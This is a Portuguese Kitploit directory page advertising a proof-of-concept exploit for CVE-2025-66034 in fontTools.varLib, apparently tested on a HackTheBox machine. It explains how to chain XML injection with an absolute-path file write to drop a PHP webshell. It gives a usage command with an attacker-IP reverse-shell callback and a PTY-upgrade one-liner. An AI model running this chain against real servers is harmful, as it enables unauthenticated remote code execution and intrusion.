Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/4nuxd/cve-2025-66034
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoDesenvolvimento de Payloads
GitHub4nuxd/cve-2025-66034

CVE-2025-66034

CVE-2025-66034 - fontTools varLib Escrita Arbitrária de Arquivo → RCE Exploit PoC para uma vulnerabilidade de Escrita Arbitrária de Arquivo + XML Injection no fontTools.varLib.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-66034 — fontTools varLib Escrita Arbitrária de Arquivos → RCE

PoC exploit para uma vulnerabilidade de Escrita Arbitrária de Arquivos + Injeção XML em fontTools.varLib Testado no HackTheBox — VarIaType


Vulnerabilidade

fontTools.varLib processa arquivos XML .designspace para construir fontes variáveis. Duas fraquezas se combinam para alcançar RCE sem autenticação:

#PrimitivaDetalhe
1Injeção XML via divisão de CDATAO conteúdo controlado pelo atacante dentro de <labelname> é escrito literalmente no corpo do arquivo de fonte de saída, permitindo a injeção de dados arbitrários
2Escrita Arbitrária de Arquivos via bypass de os.path.join()O atributo filename de <variable-font> aceita um caminho absoluto. Quando passado para os.path.join(), ele descarta o diretório de saída pretendido e grava em qualquer caminho do sistema de arquivos especificado pelo atacante

Encadear ambas as primitivas permite escrever um webshell PHP em um caminho acessível pela web, alcançando Execução Remota de Código sem autenticação.


Uso

root@kitploit:~
python3 font_varlib.py \
  --ip <attacker-ip> \
  --port <port> \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.target.htb/public/files \
  --shell http://portal.target.htb/files

Opções

Dependências

root@kitploit:~
pip install requests fonttools

Como Funciona

  1. Fontes mestre — Dois arquivos .ttf mínimos (source-light.ttf, source-regular.ttf) são gerados usando fontTools.FontBuilder como mestres necessários para o designspace
  2. .designspace malicioso — Um arquivo XML criado é construído com:
    • Webshell PHP injetado via uma divisão de CDATA dentro de <labelname>
    • Caminho de escrita absoluto definido como filename de <variable-font>, ignorando output_dir via os.path.join()
  3. Upload — O .designspace + fontes mestre são enviados via POST para o endpoint de processamento
  4. Acionar — O arquivo .php plantado é solicitado, executando o payload do reverse shell

Divulgação

Campo
CVECVE-2025-66034
Componente afetadofontTools.varLib
ImpactoEscrita Arbitrária de Arquivos não autenticada → Execução Remota de Código
ContextoAplicação web expondo endpoint de processamento de fontes

Aviso Legal

Esta ferramenta é destinada apenas para testes de penetração autorizados e uso em CTF. Não execute contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar.


por 4nuxd

Baixar ferramenta
FlagDescrição
--ipEndereço IP do atacante para o callback do reverse shell
--portPorta do listener
--uploadURL completa do endpoint de processamento de fontes (POST)
--webrootCaminho absoluto no servidor que mapeia para um diretório acessível pela web
--shellURL base sob a qual o webshell será acessível
--no-listenPular auto-listener — exibir comandos manuais
--pwncatUsar pwncat-cs em vez de nc (preferível se disponível)
  • Atualização de TTY — Ao conectar, o script automaticamente gera um PTY via python3 -c 'import pty; pty.spawn("/bin/bash")' e define TERM + stty para um shell totalmente interativo